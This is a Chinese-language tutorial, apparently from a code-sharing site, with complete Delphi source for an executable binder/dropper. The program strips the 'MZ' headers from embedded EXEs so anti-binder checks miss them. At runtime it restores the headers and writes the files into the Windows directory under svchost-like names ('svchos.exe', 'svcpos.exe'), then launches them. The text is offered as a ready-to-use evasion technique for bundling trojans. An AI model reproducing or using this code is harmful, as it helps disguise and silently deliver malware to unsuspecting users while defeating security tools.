?? 說明.txt
字號:
有點PE知識的都知道
Exe文件都是以一個MZ頭開始的
這樣我們捆綁兩個exe文件到一起 就會被那些反捆綁的東西(手工也可以查) 查出來兩個MZ頭
其實我們完全可以把MZ頭去掉 然后在程序中動態還原。。
-----------------------------------------------------
首先要建立我們的資源文件,新建個文本文檔 寫入
URLMM RCData 1.exe
URLKK RCData 2.exe
如果你有N個文件要捆綁 就寫N行了。。。 我以這兩個exe做演示
把所有需要捆綁的文件都以這樣的形式寫入,保存為rc后綴的文件me.rc,
再建立個 編譯資源.bat文件 寫入
Brcc32 me.rc
運行 編譯資源.bat 得到資源文件 me.RES
準備工作做完了,接著在delphi中新建一個console application
為了不浪費時間 代碼我都寫好了 代碼寫的很簡單 就是利用資源文件釋放兩個exe文件 然后運行之。。 動態的把mz頭寫入
我編譯下 運行了吧 呵呵 還沒完
這樣還沒有完事 是可以被查出來的 我們把MZ去掉了 因為在程序里 我有還原 所以不用擔心不會運行
這里你要知道那些MZ是exe的頭 不要亂去 現在查不出來了吧 運行下 看看 可以吧
exe圖標 版權 這個問題 我們就很簡單了 在程序里可以加 也可以手動加
-----------------------------------------------------
program ximen;
uses
windows,
shellapi; //必須用到的單元
var
Ehead: string='N[';
{$R me.res} //連接我們的資源文件
procedure ReSetMZ;
var
j: Integer;
begin
for j:=1 to 2 do Ehead[j] := Char(Byte(Ehead[j]) - 1);
{ 反捆綁軟件一般是以'MZ'作特征碼的,所以要動態生成'MZ'這里不加密也是一樣的 不過為了完美些 讓他連MZ影子都看不到 . }
end;
procedure LingLei(LuJing:string;wenjian:string); //釋放資源 還原exe頭
var
WriteBuff, ResultFilePath, ResourcePointer: PChar;
ResourceLocation: HRSRC;
ResourceSize, BytesWritten: Longword;
ResDataHandle: THandle;
FileHandle: THandle;
begin
// Ehead :='MZ';
ResultFilePath := pchar(Lujing);
ResourceLocation := FindResource(HInstance, pchar(wenjian), RT_RCDATA); //資源文件名
if ResourceLocation <> 0 then //如果資源文件存在
begin
ResourceSize := SizeofResource(HInstance, ResourceLocation);
if ResourceSize <> 0 then
begin
ResDataHandle := LoadResource(HInstance, ResourceLocation);
if ResDataHandle <> 0 then
begin
ResourcePointer := LockResource(ResDataHandle);
if ResourcePointer <> nil then
begin
FileHandle := CreateFile(ResultFilePath, GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if FileHandle <> INVALID_HANDLE_VALUE then
begin
WriteFile(FileHandle, ResourcePointer^, ResourceSize, BytesWritten, nil);
Sleep(10);
SetFilePointer(FileHandle, 0, nil, FILE_BEGIN); //把MZ頭還原回去
WriteBuff := PChar(Ehead + StringOfChar(#0, 2- Length(Ehead)));
WriteFile(FileHandle, WriteBuff^, 2, BytesWritten, nil);
CloseHandle(FileHandle);
end;
end;
end;
end;
end;
end;
var
sysdir:array[0..145] of char;
exe1,exe2:string;
begin
ReSetMZ;
GetwindowsDirectory(sysdir,145);
exe1:=sysdir+'\'+'svchos.exe';
exe2:=sysdir+'\'+'svcpos.exe';
Linglei(exe1,'urlmm');
Linglei(exe2,'urlkk');
sleep(1000);
ShellExecute(0, 'open', PChar(exe1), nil, nil, SW_SHOW); //調用shellexecute這個api
ShellExecute(0, 'open', PChar(exe2), nil, nil, SW_SHOW); //調用shellexecute這個api
end.
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -